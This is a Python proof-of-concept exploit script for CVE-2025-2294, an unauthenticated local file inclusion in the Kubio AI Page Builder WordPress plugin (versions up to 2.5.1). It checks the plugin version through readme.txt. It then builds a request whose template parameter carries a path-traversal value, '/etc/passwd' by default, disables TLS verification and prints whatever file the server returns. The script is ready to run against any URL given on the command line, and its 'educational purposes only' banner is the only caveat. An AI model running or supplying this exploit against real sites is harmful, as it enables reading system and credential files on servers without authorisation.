import requests
import argparse
import time

# ------------------ Session setup ------------------
session = requests.Session()
requests.packages.urllib3.disable_warnings()
session.verify = False

# Browser-like headers (important)
session.headers.update({
    "User-Agent": (
        "Mozilla/5.0 (Windows NT 10.0; Win64; x64) "
        "AppleWebKit/537.36 (KHTML, like Gecko) "
        "Chrome/120.0.0.0 Safari/537.36"
    ),
    "Accept": "*/*",
    "Accept-Language": "en-US,en;q=0.9",
    "Connection": "close"
})

# ------------------ Banner ------------------
banner = """
===============================================
 Kubio AI Page Builder <= 2.5.1 LFI Checker
 CVE-2025-2294 
 Author: Nahidul Islam (fumioryoto)
 GitHub: github.com/fumioryoto
    Note: For educational purposes only.
===============================================
"""

# ------------------ Functions ------------------
def fetch_readme(url):
    target = f"{url}/wp-content/plugins/kubio/readme.txt"
    try:
        response = session.get(target, timeout=10)

        # Debug output
        print("[DEBUG] Readme URL:", target)
        print("[DEBUG] Status Code:", response.status_code)

        response.raise_for_status()
        return response.text

    except requests.HTTPError as http_err:
        print(f"[-] HTTP error occurred: {http_err}")
    except requests.RequestException as req_err:
        print(f"[-] Request error occurred: {req_err}")

    return None


def is_vulnerable(readme_content):
    for line in readme_content.splitlines():
        if "Stable tag:" in line:
            version = line.split(":")[-1].strip()
            try:
                major, minor, patch = map(int, version.split("."))
            except ValueError:
                return False

            if (major, minor, patch) <= (2, 5, 1):
                print(f"[+] Vulnerable version detected: {version}")
                time.sleep(3)
                return True
            break
    return False


def build_exploit_url(url, target_file):
    return (
        f"{url}/?"
        f"__kubio-site-edit-iframe-preview=1"
        f"&__kubio-site-edit-iframe-classic-template={target_file}"
    )


def send_exploit_request(full_url):
    try:
        response = session.get(full_url, timeout=10)
        print("[DEBUG] Exploit request status:", response.status_code)
        response.raise_for_status()
        return response.text

    except requests.HTTPError as http_err:
        print(f"[-] HTTP error occurred: {http_err}")
    except requests.RequestException as req_err:
        print(f"[-] Request error occurred: {req_err}")

    return None


def display_result(content):
    if content:
        print("[+] Response received:")
        print(content)
    else:
        print("[-] No content returned.")


def exploit(target_url, file_to_read):
    readme = fetch_readme(target_url)

    if readme and is_vulnerable(readme):
        exploit_url = build_exploit_url(target_url, file_to_read)
        result = send_exploit_request(exploit_url)
        display_result(result)
    else:
        print("[-] Target not vulnerable or readme.txt not accessible.")


# ------------------ Main ------------------
if __name__ == "__main__":
    print(banner)

    parser = argparse.ArgumentParser(
        description=(
            "CVE-2025-2294 Kubio AI Page Builder <= 2.5.1 "
            "Unauthenticated LFI (PoC)"
        )
    )
    parser.add_argument(
        "-u", "--url",
        required=True,
        help="Target base URL (e.g., https://example.com)"
    )
    parser.add_argument(
        "-f", "--file",
        default="../../../../../../../../etc/passwd",
        help="File to read (default: /etc/passwd)"
    )

    args = parser.parse_args()
    exploit(args.url.rstrip("/"), args.file)